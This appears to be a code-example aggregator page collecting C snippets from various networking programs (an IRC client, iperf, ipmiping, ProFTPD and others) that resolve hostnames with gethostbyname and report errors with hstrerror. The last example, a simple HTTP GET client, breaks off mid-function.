Ejemplo n.º 1
0
/* Client side */
NEOERR *ne_net_connect(NSOCK **sock, const char *host, int port, 
                       int conn_timeout, int data_timeout)
{
  struct sockaddr_in serv_addr;
  struct hostent hp;
  struct hostent *php;
  int fd;
  int r = 0, x;
  int flags;
  struct timeval tv;
  fd_set fds;
  int optval;
  socklen_t optlen;
  NSOCK *my_sock;

  /* FIXME: This isn't thread safe... but there's no man entry for the _r
   * version? */

  php = gethostbyname(host);
  if (php == NULL)
  {
    return nerr_raise(NERR_IO, "Host not found: %s", hstrerror(h_errno));
  }
  hp = *php;

  memset(&serv_addr, 0, sizeof(serv_addr));
  serv_addr.sin_family = AF_INET;
  serv_addr.sin_port = htons(port);
  fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (fd == -1)
    return nerr_raise_errno(NERR_IO, "Unable to create socket");

  flags = fcntl(fd, F_GETFL, 0 );
  if (flags == -1)
  {
    close(fd);
    return nerr_raise_errno(NERR_IO, "Unable to get socket flags");
  }

  if (fcntl(fd, F_SETFL, flags | O_NDELAY) == -1)
  {
    close(fd);
    return nerr_raise_errno(NERR_IO, "Unable to set O_NDELAY");
  }

  x = 0;
  while (hp.h_addr_list[x] != NULL)
  {
    memcpy(&(serv_addr.sin_addr), hp.h_addr_list[x], sizeof(struct in_addr));
    errno = 0;
    r = connect(fd, (struct sockaddr *) &(serv_addr), sizeof(struct sockaddr_in));
    if (r == 0 || errno == EINPROGRESS) break;
    x++;
  }
  if (r != 0)
  {
    if (errno != EINPROGRESS)
    {
      close(fd);
      return nerr_raise_errno(NERR_IO, "Unable to connect to %s:%d", 
	  host, port);
    }
    tv.tv_sec = conn_timeout;
    tv.tv_usec = 0;

    FD_ZERO(&fds);
    FD_SET(fd, &fds);

    r = select(fd+1, NULL, &fds, NULL, &tv);
    if (r == 0)
    {
      close(fd);
      return nerr_raise(NERR_IO, "Connection to %s:%d failed: Timeout", host,
	  port);
    }
    if (r < 0)
    {
      close(fd);
      return nerr_raise_errno(NERR_IO, "Connection to %s:%d failed", host,
	  port);
    }

    optlen = sizeof(optval);

    if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &optval, &optlen) == -1) 
    {
      close(fd);
      return nerr_raise_errno(NERR_IO, 
	  "Unable to getsockopt to determine connection error");
    }

    if (optval)
    {
      close(fd);
      errno = optval;
      return nerr_raise_errno(NERR_IO, "Connection to %s:%d failed", host, 
	  port);
    }
  }
  /* Re-enable blocking... we'll use select on read/write for timeouts
   * anyways, and if we want non-blocking version in the future we'll
   * add a flag or something.
   */
  flags = fcntl(fd, F_GETFL, 0 );
  if (flags == -1)
  {
    close(fd);
    return nerr_raise_errno(NERR_IO, "Unable to get socket flags");
  }

  if (fcntl(fd, F_SETFL, flags & ~O_NDELAY) == -1)
  {
    close(fd);
    return nerr_raise_errno(NERR_IO, "Unable to set O_NDELAY");
  }

  my_sock = (NSOCK *) calloc(1, sizeof(NSOCK));
  if (my_sock == NULL)
  {
    close(fd);
    return nerr_raise(NERR_NOMEM, "Unable to allocate memory for NSOCK");
  }
  my_sock->fd = fd;
  my_sock->remote_ip = ntohl(serv_addr.sin_addr.s_addr);
  my_sock->remote_port = port;
  my_sock->data_timeout = data_timeout;
  my_sock->conn_timeout = conn_timeout;

  *sock = my_sock;

  return STATUS_OK;
}
Ejemplo n.º 2
0
int
main(int ac, char *av[])
{
	bthcid_pin_response_t rp;
	struct sockaddr_un un;
	char *pin = NULL;
	int ch, s, len;

	memset(&rp, 0, sizeof(rp));
	len = -1;

	memset(&un, 0, sizeof(un));
	un.sun_len = sizeof(un);
	un.sun_family = AF_LOCAL;
	strlcpy(un.sun_path, BTHCID_SOCKET_NAME, sizeof(un.sun_path));

	while ((ch = getopt(ac, av, "a:d:l:p:rs:")) != -1) {
		switch (ch) {
		case 'a':
			if (!bt_aton(optarg, &rp.raddr)) {
				struct hostent  *he = NULL;

				if ((he = bt_gethostbyname(optarg)) == NULL)
					errx(EXIT_FAILURE, "%s: %s", optarg,
							hstrerror(h_errno));

				bdaddr_copy(&rp.raddr, (bdaddr_t *)he->h_addr);
			}
			break;

		case 'd':
			if (!bt_devaddr(optarg, &rp.laddr))
				err(EXIT_FAILURE, "%s", optarg);

			break;

		case 'l':
			len = atoi(optarg);
			if (len < 1 || len > HCI_PIN_SIZE)
				errx(EXIT_FAILURE, "Invalid PIN length");

			break;

		case 'p':
			pin = optarg;
			break;

		case 'r':
			if (len == -1)
				len = 4;

			break;

		case 's':
			strlcpy(un.sun_path, optarg, sizeof(un.sun_path));
			break;

		default:
			usage();
		}
	}

	if (bdaddr_any(&rp.raddr))
		usage();

	if (pin == NULL) {
		if (len == -1)
			usage();

		srandom(time(NULL));

		pin = (char *)rp.pin;
		while (len-- > 0)
			*pin++ = '0' + (random() % 10);

		printf("PIN: %.*s\n", HCI_PIN_SIZE, rp.pin);
	} else {
		if (len != -1)
			usage();

		strncpy((char *)rp.pin, pin, HCI_PIN_SIZE);
	}

	s = socket(PF_LOCAL, SOCK_STREAM, 0);
	if (s < 0)
		err(EXIT_FAILURE, "socket");

	if (connect(s, (struct sockaddr *)&un, sizeof(un)) < 0)
		err(EXIT_FAILURE, "connect(\"%s\")", un.sun_path);
	
	if (send(s, &rp, sizeof(rp), 0) != sizeof(rp))
		err(EXIT_FAILURE, "send");

	close(s);
	exit(EXIT_SUCCESS);
}
Ejemplo n.º 3
0
int prepare_connect_tracker(int *max_sockfd)
{
    int             i, flags, ret, count = 0;
    struct hostent  *ht;
    Announce_list   *p = announce_list_head;

    while(p != NULL)  { count++; p = p->next; }
    tracker_count = count;
    sock = (int *)malloc(count * sizeof(int));
    if(sock == NULL)  goto OUT;
    tracker = (struct sockaddr_in *)malloc(count * sizeof(struct sockaddr_in));
    if(tracker == NULL)  goto OUT;
    valid = (int *)malloc(count * sizeof(int));
    if(valid == NULL)  goto OUT;

    p = announce_list_head;
    for(i = 0; i < count; i++) {
        char            tracker_name[128];
        unsigned short  tracker_port = 0;

        sock[i] = socket(AF_INET,SOCK_STREAM,0);
        //FIXME bug?
        if(sock[i] < 0) {
            printf("%s:%d socket create failed\n",__FILE__,__LINE__);
            valid[i] = 0;
            p = p->next;
            continue;
        }

        get_tracker_name(p,tracker_name,128);
        get_tracker_port(p,&tracker_port);

        // 从主机名获取IP地址
        // TODO add proxy
        ht = gethostbyname(tracker_name);

        if(ht == NULL) {
            printf("gethostbyname failed:%s\n",hstrerror(h_errno));
            valid[i] = 0;
        } else {
            memset(&tracker[i], 0, sizeof(struct sockaddr_in));
            memcpy(&tracker[i].sin_addr.s_addr, ht->h_addr_list[0], 4);
            tracker[i].sin_port = htons(tracker_port);
            tracker[i].sin_family = AF_INET;
            valid[i] = -1;
        }

        p = p->next;
    }

    for(i = 0; i < tracker_count; i++) {
        if(valid[i] != 0) {
            if(sock[i] > *max_sockfd) *max_sockfd = sock[i];
            // 设置套接字为非阻塞
            flags = fcntl(sock[i],F_GETFL,0);
            fcntl(sock[i],F_SETFL,flags|O_NONBLOCK);
            // 连接tracker
            ret = connect(sock[i],(struct sockaddr *)&tracker[i],
                          sizeof(struct sockaddr));
            if(ret < 0 && errno != EINPROGRESS)  valid[i] = 0;
            // 如果返回0,说明连接已经建立
            if(ret == 0)  valid[i] = 1;
        }
    }

    return 0;

 OUT:
    if(sock != NULL)    free(sock);
    if(tracker != NULL) free(tracker);
    if(valid != NULL)   free(valid);
    return -1;
}
Ejemplo n.º 4
0
/*
 * finds location of master timedaemon
 */
void
msite(int argc, char *argv[])
{
	ssize_t cc;
	fd_set ready;
	struct sockaddr_in dest;
	int i, length;
	struct sockaddr_in from;
	struct timeval tout;
	struct tsp msg;
	struct servent *srvp;
	char *tgtname;

	if (argc < 1) {
		printf("usage: timedc msite [host ...]\n");
		return;
	}

	srvp = getservbyname("timed", "udp");
	if (srvp == 0) {
		warnx("timed/udp: unknown service");
		return;
	}
	dest.sin_port = srvp->s_port;
	dest.sin_family = AF_INET;

	if (gethostname(myname, sizeof(myname) - 1) < 0)
		err(1, "gethostname");
	i = 1;
	do {
		tgtname = (i >= argc) ? myname : argv[i];
		hp = gethostbyname(tgtname);
		if (hp == 0) {
			warnx("%s: %s", tgtname, hstrerror(h_errno));
			continue;
		}
		bcopy(hp->h_addr, &dest.sin_addr.s_addr, hp->h_length);

		(void)strlcpy(msg.tsp_name, myname, sizeof(msg.tsp_name));
		msg.tsp_type = TSP_MSITE;
		msg.tsp_vers = TSPVERSION;
		bytenetorder(&msg);
		if (sendto(sock, &msg, sizeof(struct tsp), 0,
			   (struct sockaddr*)&dest,
			   sizeof(struct sockaddr)) < 0) {
			warn("sendto");
			continue;
		}

		tout.tv_sec = 15;
		tout.tv_usec = 0;
		FD_ZERO(&ready);
		FD_SET(sock, &ready);
		if (select(FD_SETSIZE, &ready, (fd_set *)0, (fd_set *)0,
			   &tout)) {
			length = sizeof(from);
			cc = recvfrom(sock, &msg, sizeof(struct tsp), 0,
				      (struct sockaddr *)&from, &length);
			if (cc < 0) {
				warn("recvfrom");
				continue;
			}
			/*
			 * The 4.3BSD protocol spec had a 32-byte tsp_name field, and
			 * this is still OS-dependent.  Demand that the packet is at
			 * least long enough to hold a 4.3BSD packet.
			 */
			if (cc < (sizeof(struct tsp) - MAXHOSTNAMELEN + 32)) {
				fprintf(stderr, 
				   "short packet (%zd/%zu bytes) from %s\n",
				   cc, sizeof(struct tsp) - MAXHOSTNAMELEN + 32,
				   inet_ntoa(from.sin_addr));
				continue;
			}
			bytehostorder(&msg);
			if (msg.tsp_type == TSP_ACK) {
				printf("master timedaemon at %s is %s\n",
				       tgtname, msg.tsp_name);
			} else {
				if (msg.tsp_type >= TSPTYPENUMBER)
					printf("unknown ack received: %u\n",
						msg.tsp_type);
				else	
					printf("wrong ack received: %s\n",
				       		tsptype[msg.tsp_type]);
			}
		} else {
			printf("communication error with %s\n", tgtname);
		}
	} while (++i < argc);
}
Ejemplo n.º 5
0
const char *
gai_strerror(int errcode)
{
#ifdef HAVE_HSTRERROR
	int			hcode;

	switch (errcode)
	{
		case EAI_NONAME:
			hcode = HOST_NOT_FOUND;
			break;
		case EAI_AGAIN:
			hcode = TRY_AGAIN;
			break;
		case EAI_FAIL:
		default:
			hcode = NO_RECOVERY;
			break;
	}

	return hstrerror(hcode);
#else							/* !HAVE_HSTRERROR */

	switch (errcode)
	{
		case EAI_NONAME:
			return "Unknown host";
		case EAI_AGAIN:
			return "Host name lookup failure";
			/* Errors below are probably WIN32 only */
#ifdef EAI_BADFLAGS
		case EAI_BADFLAGS:
			return "Invalid argument";
#endif
#ifdef EAI_FAMILY
		case EAI_FAMILY:
			return "Address family not supported";
#endif
#ifdef EAI_MEMORY
		case EAI_MEMORY:
			return "Not enough memory";
#endif
#ifdef EAI_NODATA
#if (EAI_NODATA != EAI_NONAME)
		case EAI_NODATA:
			return "No host data of that type was found";
#endif
#endif
#ifdef EAI_SERVICE
		case EAI_SERVICE:
			return "Class type not found";
#endif
#ifdef EAI_SOCKTYPE
		case EAI_SOCKTYPE:
			return "Socket type not supported";
#endif
		default:
			return "Unknown server error";
	}
#endif   /* HAVE_HSTRERROR */
}
Ejemplo n.º 6
0
/* This differs from pr_netaddr_get_ipstr() in that pr_netaddr_get_ipstr()
 * returns a string of the numeric form of the given network address, whereas
 * this function returns a string of the DNS name (if present).
 */
const char *pr_netaddr_get_dnsstr(pr_netaddr_t *na) {
  char *name = NULL;
  char buf[256];

  if (!na) {
    errno = EINVAL;
    return NULL;
  }

  /* If this pr_netaddr_t has already been resolved to an DNS string, return the
   * cached string.
   */
  if (na->na_have_dnsstr)
    return na->na_dnsstr;

  if (reverse_dns) {
    int res = 0;

    memset(buf, '\0', sizeof(buf));
    res = pr_getnameinfo(pr_netaddr_get_sockaddr(na),
      pr_netaddr_get_sockaddr_len(na), buf, sizeof(buf), NULL, 0, NI_NAMEREQD);

    if (res == 0) {
      char **checkaddr;
      struct hostent *hent = NULL;
      unsigned char ok = FALSE;
      int family = pr_netaddr_get_family(na);
      void *inaddr = pr_netaddr_get_inaddr(na);
    
#ifdef HAVE_GETHOSTBYNAME2
      if (pr_netaddr_is_v4mappedv6(na) == TRUE) {
        family = AF_INET;
        inaddr = get_v4inaddr(na);
      }

      hent = gethostbyname2(buf, family);
#else
      hent = gethostbyname(buf);
#endif /* HAVE_GETHOSTBYNAME2 */

      if (hent != NULL) {
        switch (hent->h_addrtype) {
          case AF_INET:
            if (family == AF_INET) {
              for (checkaddr = hent->h_addr_list; *checkaddr; ++checkaddr) {
                if (memcmp(*checkaddr, inaddr, hent->h_length) == 0) {
                  ok = TRUE;
                  break;
                }
              }
            } 
            break;

#ifdef PR_USE_IPV6
          case AF_INET6:
            if (family == AF_INET6) {
              for (checkaddr = hent->h_addr_list; *checkaddr; ++checkaddr) {
                if (memcmp(*checkaddr, inaddr, hent->h_length) == 0) {
                  ok = TRUE;
                  break;
                }
              }
            } 
            break;
#endif /* PR_USE_IPV6 */
        }

        name = ok ? buf : NULL;

      } else
        pr_log_debug(DEBUG1, "notice: unable to resolve '%s': %s", buf,
          hstrerror(errno));
    }
  }

  if (!name)
    name = (char *) pr_netaddr_get_ipstr(na);

  name = pr_inet_validate(name);

  /* Copy the string into the pr_netaddr_t cache as well, so we only
   * have to do this once for this pr_netaddr_t.
   */
  memset(na->na_dnsstr, '\0', sizeof(na->na_dnsstr));
  sstrncpy(na->na_dnsstr, name, sizeof(na->na_dnsstr));
  na->na_have_dnsstr = TRUE;

  return na->na_dnsstr;
}
Ejemplo n.º 7
0
int
main(int argc, char *argv[])
{
  struct sockaddr_in server;
  int sock;
  char buf[32];
  char *deststr;
  unsigned int **addrptr;

  if (argc != 2) {
    printf("Usage : %s dest\n", argv[0]);
    return 1;
  }
  deststr = argv[1];

  sock = socket(AF_INET, SOCK_STREAM, 0);
  if (sock < 0) {
    perror("socket");
    return 1;
  }

  server.sin_family = AF_INET;
  server.sin_port = htons(12345);

  server.sin_addr.s_addr = inet_addr(deststr);
  if (server.sin_addr.s_addr == 0xffffffff) {
    struct hostent *host;

    host = gethostbyname(deststr);
    if (host == NULL) {
      if (h_errno == HOST_NOT_FOUND) {
	printf("host not found : %s\n", deststr);
      } else {
	printf("%s : %s\n", hstrerror(h_errno), deststr);
      }
      return 1;
    }

    addrptr = (unsigned int **)host->h_addr_list;
    
    while (*addrptr != NULL) {
      server.sin_addr.s_addr = *(*addrptr);
      if (connect(sock,
		  (struct sockaddr *)&server,
		  sizeof(server)) == 0) {
	break;
      }
      
      addrptr++;
    }
    
    if (*addrptr == NULL) {
      perror("connect");
      return 1;
    }
  } else {
    if (connect(sock,
		(struct sockaddr *)&server, sizeof(server)) != 0) {
      perror("connect");
      return 1;
    }
  }
  
  memset(buf, 0, sizeof(buf));
  int n = read(sock, buf, sizeof(buf));
  if (n < 0) {
    perror("read");
    return 1;
  }
  
  printf("%d, %s\n", n, buf);
  
  close(sock);
  
  return 0;
}
Ejemplo n.º 8
0
void do_connect(void)
{
  struct sockaddr_in sin;
  struct hostent *hp;

  printf("  Get the server ip...");

  if((hp = gethostbyname(nfos->server->hostname)) == NULL)
  {
    printf("%s", hstrerror(h_errno));
    exit(EXIT_FAILURE);
  }else
  {
    printf(" OK!\n");
    strncpy(nfos->server->ip, inet_ntoa(*(struct in_addr *)hp->h_addr), 16);
  }  
  
  printf(BREAK);

  sin.sin_family = PF_INET;
  sin.sin_port   = htons((unsigned int)atoi(nfos->server->port));
  
  printf("  Convert server ip...");
  if((signed int)(sin.sin_addr.s_addr = inet_addr(nfos->server->ip)) == -1)
  {
    printf(" failed!\n    ERROR: inet_addr();: conversion failed!\n");
    exit(EXIT_FAILURE);
  }else
    printf(" OK!\n");

  printf(BREAK);

  printf("  Create socket...");
  if((nfos->server->socket = socket(PF_INET, SOCK_STREAM, 0)) == -1)
  {
    printf(" failed!\n    ERROR: socket();\n");
    exit(EXIT_FAILURE);
  }else
    printf(" OK!\n");

  printf(BREAK);

  printf("  Connect to server...");
  if(connect(nfos->server->socket, (struct sockaddr *)&sin, sizeof(sin)) == -1)
  {
    printf(" failed!\n    ERROR: connect();\n");
    exit(EXIT_FAILURE);
  }else
    printf(" OK!\n");

  printf(BREAK);

  printf("  Set nickname...");

  irc_cmd("NICK %s", nfos->server->nickname);
  // next two lines are just for debugging
  //recv(nfos->server->socket, buffer_, 1024, 0);
  //printf(buffer_);
  irc_cmd("USER %s 0 0 :%s - %s", nfos->server->nickname, APP_NAME, APP_WWW);
  // next two lines are just for debugging
  //recv(nfos->server->socket, buffer_, 1024, 0);
  //printf(buffer_);

  printf(" OK!\n");
  printf(BREAK);

  return;
}
Ejemplo n.º 9
0
/*
 *	initialises the dtraces feature;  settings are taken from environment variables
 *	returns 0 on success, non-zero on failure (non-fatal)
 */
int ccsp_init_dtraces (void)
{
	char *envptr, *ch;
	int i, x;

	envptr = getenv ("DTRACED");
	if (!envptr) {
		envptr = getenv ("dtraced");
	}
	if (!envptr) {
		BMESSAGE ("no dtraced environment given, not using dtraces\n");
		dtraces_enabled = 0;
		return 0;
	}
#if 0
MESSAGE ("got dtraced environment [%s]\n", envptr);
#endif

	/* see if there's a ':' in it (TCP) */
	for (ch=envptr; (*ch != ':') && (*ch != '\0'); ch++);
	if (*ch == ':') {
		/*{{{  using TCP socket*/
		struct sockaddr_in sin;
		struct hostent *hp;
		char hnbuf[64];
		int port;
		socklen_t slen = sizeof (struct sockaddr_in);
		int nlen;

		nlen = ((int)(ch - envptr) < 64) ? (int)(ch - envptr) : 63;
		strncpy (hnbuf, envptr, nlen);
		hnbuf[nlen] = '\0';
		hp = gethostbyname (hnbuf);
		if (!hp) {
			BMESSAGE ("failed to resolve dtraced host [%s]: %s\n", hnbuf, hstrerror (h_errno));
			dtraces_enabled = 0;
			return 0;
		}
		if (sscanf (ch + 1, "%d", &port) != 1) {
			BMESSAGE ("bad port [%s]\n", ch + 1);
			dtraces_enabled = 0;
			return 0;
		}

		memcpy (&sin.sin_addr, hp->h_addr_list[0], hp->h_length);
		sin.sin_family = AF_INET;
		sin.sin_port = htons (port);

		dtrace_fd = socket (PF_INET, SOCK_STREAM, 0);
		if (dtrace_fd < 0) {
			BMESSAGE ("failed to create dtrace socket: %s\n", strerror (errno));
			dtraces_enabled = 0;
			return 0;
		}

		if (connect (dtrace_fd, (struct sockaddr *)&sin, slen)) {
			BMESSAGE ("failed to connect to dtraced host: %s\n", strerror (errno));
			dtraces_enabled = 0;
			close (dtrace_fd);
			dtrace_fd = -1;
			return 0;
		}
		/*}}}*/
	} else {
		/*{{{  using UNIX socket*/
		struct sockaddr_un sun;
		socklen_t slen = sizeof (struct sockaddr_un);

		sun.sun_family = AF_UNIX;
		strncpy (sun.sun_path, envptr, (strlen (envptr) < UNIX_PATH_MAX) ? strlen (envptr) : (UNIX_PATH_MAX - 1));

		dtrace_fd = socket (PF_UNIX, SOCK_STREAM, 0);
		if (dtrace_fd < 0) {
			BMESSAGE ("failed to create dtrace socket: %s\n", strerror (errno));
			dtraces_enabled = 0;
			return 0;
		}

		if (connect (dtrace_fd, (struct sockaddr *)&sun, slen)) {
			BMESSAGE ("failed to connect to dtraced host: %s\n", strerror (errno));
			dtraces_enabled = 0;
			close (dtrace_fd);
			dtrace_fd = -1;
			return 0;
		}
		/*}}}*/
	}

	/* if we get this far, connected to host :) */
	dtraces_enabled = 1;

	/* tell the dtrace daemon that we're an application */
	x = snprintf ((char *)dtrace_buf, 1024, "APP %d", getpid ());
	for (i=0; i<kroc_argc; i++) {
		x += snprintf ((char *)dtrace_buf + x, 1024 - x, " \"%s\"", kroc_argv[i]);
	}
	x += snprintf ((char *)dtrace_buf + x, 1024 - x, "\n");
	if (dtrace_write ((const char *)dtrace_buf, x) < 0) {
		BMESSAGE ("failed to establish link with dtrace host, not using dtraces\n");
		dtraces_enabled = 0;
		return 0;
	}

	return 0;
}
Ejemplo n.º 10
0
int
main(int argc, char **argv)
{
    int					sockfd, n;
    char				recvline[MAXLINE + 1];
    struct sockaddr_in	servaddr;
    struct sockaddr_in6	servaddr6;
    struct sockaddr		*sa;
    socklen_t			salen;
    struct in_addr		**pptr;
    struct hostent		*hp;
    struct servent		*sp;

    if (argc != 3)
        err_quit("usage: daytimetcpcli3 <hostname> <service>");

    if ( (hp = gethostbyname(argv[1])) == NULL)
        err_quit("hostname error for %s: %s", argv[1], hstrerror(h_errno));

    if ( (sp = getservbyname(argv[2], "tcp")) == NULL)
        err_quit("getservbyname error for %s", argv[2]);

    pptr = (struct in_addr **) hp->h_addr_list;
    for ( ; *pptr != NULL; pptr++)
    {
        sockfd = Socket(hp->h_addrtype, SOCK_STREAM, 0);

        if (hp->h_addrtype == AF_INET)
        {
            sa = (SA *) &servaddr;
            salen = sizeof(servaddr);
        }
        else if (hp->h_addrtype == AF_INET6)
        {
            sa = (SA *) &servaddr6;
            salen = sizeof(servaddr6);
        }
        else
            err_quit("unknown addrtype %d", hp->h_addrtype);

        bzero(sa, salen);
        sa->sa_family = hp->h_addrtype;
        sock_set_port(sa, salen, sp->s_port);
        sock_set_addr(sa, salen, *pptr);

        printf("trying %s\n", Sock_ntop(sa, salen));

        if (connect(sockfd, sa, salen) == 0)
            break;		/* success */
        err_ret("connect error");
        close(sockfd);
    }
    if (*pptr == NULL)
        err_quit("unable to connect");

    while ( (n = Read(sockfd, recvline, MAXLINE)) > 0)
    {
        recvline[n] = 0;	/* null terminate */
        Fputs(recvline, stdout);
    }
    exit(0);
}
Ejemplo n.º 11
0
static void 
_setup(void) 
{
  struct hostent *hptr;
  char *temp;

  if (signal(SIGINT, _signal_handler) == SIG_ERR)
    ipmi_ping_err_exit("signal setup failed"); 

  if ((_sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
    ipmi_ping_err_exit("socket: %s", strerror(errno));

  memset(&_srcaddr, '\0', sizeof(_srcaddr));
  _srcaddr.sin_family = AF_INET;
  _srcaddr.sin_port = htons(0);

  if (_interface == NULL)
    _srcaddr.sin_addr.s_addr = htonl(INADDR_ANY);
  else 
    {
      /* If there is a period, assume user input an IP address.  No
       * period, assume user input an interface name 
       */
      if (strchr(_interface, '.') != NULL)
        {
          int rv;
    
          if ((rv = inet_pton(AF_INET, _interface, &_srcaddr.sin_addr)) < 0) 
            ipmi_ping_err_exit("inet_pton: %s", strerror(errno));
          if (rv == 0)
            ipmi_ping_err_exit("invalid interface address");
        }
      else 
        {
          struct ifreq ifr;
          struct sockaddr_in temp_sockaddr;

          _strncpy(ifr.ifr_name, _interface, IFNAMSIZ);
          ifr.ifr_addr.sa_family = AF_INET;
          if (ioctl(_sockfd, SIOCGIFADDR, &ifr) < 0)
            ipmi_ping_err_exit("ioctl: %s", strerror(errno));
          
          temp_sockaddr = *((struct sockaddr_in *)&ifr.ifr_addr);
          memcpy(&_srcaddr.sin_addr.s_addr, &temp_sockaddr.sin_addr.s_addr, 
                 sizeof(_srcaddr.sin_addr.s_addr));
        }
    }

  if (bind(_sockfd, (struct sockaddr *)&_srcaddr, sizeof(_srcaddr)) < 0)
    ipmi_ping_err_exit("bind: %s", strerror(errno));

  memset(&_destaddr, '\0', sizeof(_destaddr));
  _destaddr.sin_family = AF_INET;
  _destaddr.sin_port = htons(RMCP_PRIMARY_RMCP_PORT);
    
  if ((hptr = gethostbyname(_dest)) == NULL)
    {
#if HAVE_HSTRERROR
      ipmi_ping_err_exit("gethostbyname: %s", hstrerror(h_errno));
#else /* !HAVE_HSTRERROR */
      ipmi_ping_err_exit("gethostbyname: h_errno = %d", h_errno);
#endif /* !HAVE_HSTRERROR */
    }
  _destaddr.sin_addr = *((struct in_addr *)hptr->h_addr);
  temp = inet_ntoa(_destaddr.sin_addr);
  _strncpy(_dest_ip, temp, INET_ADDRSTRLEN);

  srand(time(NULL));
}
char *
iperf_strerror(int i_errno)
{
    static char errstr[256];
    int len, perr, herr;
    perr = herr = 0;

    len = sizeof(errstr);
    memset(errstr, 0, len);

    switch (i_errno) {
        case IENONE:
            snprintf(errstr, len, "No error");
            break;
        case IESERVCLIENT:
            snprintf(errstr, len, "Iperf cannot be both server and client");
            break;
        case IENOROLE:
            snprintf(errstr, len, "Iperf instance must either be a client (-c) or server (-s)");
            break;
        case IECLIENTONLY:
            snprintf(errstr, len, "Some option you are trying to set is client only");
            break;
        case IEDURATION:
            snprintf(errstr, len, "Test duration too long (maximum = %d seconds)", MAX_TIME);
            break;
        case IENUMSTREAMS:
            snprintf(errstr, len, "Number of parallel streams too large (maximum = %d)", MAX_STREAMS);
            break;
        case IEBLOCKSIZE:
            snprintf(errstr, len, "Block size too large (maximum = %d bytes)", MAX_BLOCKSIZE);
            break;
        case IEBUFSIZE:
            snprintf(errstr, len, "Socket buffer size too large (maximum = %d bytes)", MAX_TCP_BUFFER);
            break;
        case IEINTERVAL:
            snprintf(errstr, len, "Report interval too large (maximum = %d seconds)", MAX_INTERVAL);
            break;
        case IEMSS:
            snprintf(errstr, len, "TCP MSS too large (maximum = %d bytes)", MAX_MSS);
            break;
        case IENEWTEST:
            snprintf(errstr, len, "Unable to create a new test");
            perr = 1;
            break;
        case IEINITTEST:
            snprintf(errstr, len, "Test initialization failed");
            perr = 1;
            break;
        case IELISTEN:
            snprintf(errstr, len, "Unable to start listener for connections");
            perr = 1;
            break;
        case IECONNECT:
            snprintf(errstr, len, "Unable to connect to server");
            herr = 1;
            perr = 1;
            break;
        case IEACCEPT:
            snprintf(errstr, len, "Unable to accept connection from client");
            herr = 1;
            perr = 1;
            break;
        case IESENDCOOKIE:
            snprintf(errstr, len, "Unable to send cookie to server");
            perr = 1;
            break;
        case IERECVCOOKIE:
            snprintf(errstr, len, "Unable to receive cookie to server");
            perr = 1;
            break;
        case IECTRLWRITE:
            snprintf(errstr, len, "Unable to write to the control socket");
            perr = 1;
            break;
        case IECTRLREAD:
            snprintf(errstr, len, "Unable to read from the control socket");
            perr = 1;
            break;
        case IECTRLCLOSE:
            snprintf(errstr, len, "Control socket has closed unexpectedly");
            break;
        case IEMESSAGE:
            snprintf(errstr, len, "Received an unknown control message");
            break;
        case IESENDMESSAGE:
            snprintf(errstr, len, "Unable to send control message");
            perr = 1;
            break;
        case IERECVMESSAGE:
            snprintf(errstr, len, "Unable to receive control message");
            perr = 1;
            break;
        case IESENDPARAMS:
            snprintf(errstr, len, "Unable to send parameters to server");
            perr = 1;
            break;
        case IERECVPARAMS:
            snprintf(errstr, len, "Unable to receive parameters from client");
            perr = 1;
            break;
        case IEPACKAGERESULTS:
            snprintf(errstr, len, "Unable to package results");
            perr = 1;
            break;
        case IESENDRESULTS:
            snprintf(errstr, len, "Unable to send results");
            perr = 1;
            break;
        case IERECVRESULTS:
            snprintf(errstr, len, "Unable to receive results");
            perr = 1;
            break;
        case IESELECT:
            snprintf(errstr, len, "Select failed");
            perr = 1;
            break;
        case IECLIENTTERM:
            snprintf(errstr, len, "The client has terminated");
            break;
        case IESERVERTERM:
            snprintf(errstr, len, "The server has terminated");
            break;
        case IEACCESSDENIED:
            snprintf(errstr, len, "The server is busy running a test. try again later");
            break;
        case IESETNODELAY:
            snprintf(errstr, len, "Unable to set TCP NODELAY");
            perr = 1;
            break;
        case IESETMSS:
            snprintf(errstr, len, "Unable to set TCP MSS");
            perr = 1;
            break;
        case IESETBUF:
            snprintf(errstr, len, "Unable to set socket buffer size");
            perr = 1;
            break;
        case IESETTOS:
            snprintf(errstr, len, "Unable to set IP TOS");
            perr = 1;
            break;
        case IESETCOS:
            snprintf(errstr, len, "Unable to set IPv6 traffic class");
            perr = 1;
            break;
        case IEREUSEADDR:
            snprintf(errstr, len, "Unable to reuse address on socket");
            perr = 1;
            break;
        case IENONBLOCKING:
            snprintf(errstr, len, "Unable to set socket to non-blocking");
            perr = 1;
            break;
        case IESETWINDOWSIZE:
            snprintf(errstr, len, "Unable to set socket window size");
            perr = 1;
            break;
        case IEPROTOCOL:
            snprintf(errstr, len, "Protocol does not exist");
            break;
        case IECREATESTREAM:
            snprintf(errstr, len, "Unable to create a new stream");
            herr = 1;
            perr = 1;
            break;
        case IEINITSTREAM:
            snprintf(errstr, len, "Unable to initialize stream");
            herr = 1;
            perr = 1;
            break;
        case IESTREAMLISTEN:
            snprintf(errstr, len, "Unable to start stream listener");
            perr = 1;
            break;
        case IESTREAMCONNECT:
            snprintf(errstr, len, "Unable to connect stream");
            herr = 1;
            perr = 1;
            break;
        case IESTREAMACCEPT:
            snprintf(errstr, len, "Unable to accept stream connection");
            perr = 1;
            break;
        case IESTREAMWRITE:
            snprintf(errstr, len, "Unable to write to stream socket");
            perr = 1;
            break;
        case IESTREAMREAD:
            snprintf(errstr, len, "Unable to read from stream socket");
            perr = 1;
            break;
        case IESTREAMCLOSE:
            snprintf(errstr, len, "Stream socket has closed unexpectedly");
            break;
        case IESTREAMID:
            snprintf(errstr, len, "Stream has an invalid id");
            break;
        case IENEWTIMER:
            snprintf(errstr, len, "Unable to create new timer");
            perr = 1;
            break;
        case IEUPDATETIMER:
            snprintf(errstr, len, "Unable to update timer");
            perr = 1;
            break;
    }

    if (herr || perr)
        strncat(errstr, ": ", len);
    if (h_errno && herr) {
        strncat(errstr, hstrerror(h_errno), len);
    } else if (errno && perr) {
        strncat(errstr, strerror(errno), len);
    }

    return (errstr);
}
Ejemplo n.º 13
0
int main(int c, char **v)
{
    const char query[] =
        "GET / HTTP/1.0\r\n"
        "Host: www.google.com.hk\r\n"
        "\r\n";
    const char hostname[] = "www.google.com.hk";
    struct sockaddr_in sin;
    struct hostent *h;
    const char *cp;
    int fd;
    ssize_t n_written, remaining;
    char buf[1024];

    /* Look up the IP address for the hostname.   Watch out; this isn't
       threadsafe on most platforms. */
    h = gethostbyname(hostname);
    if (!h) {
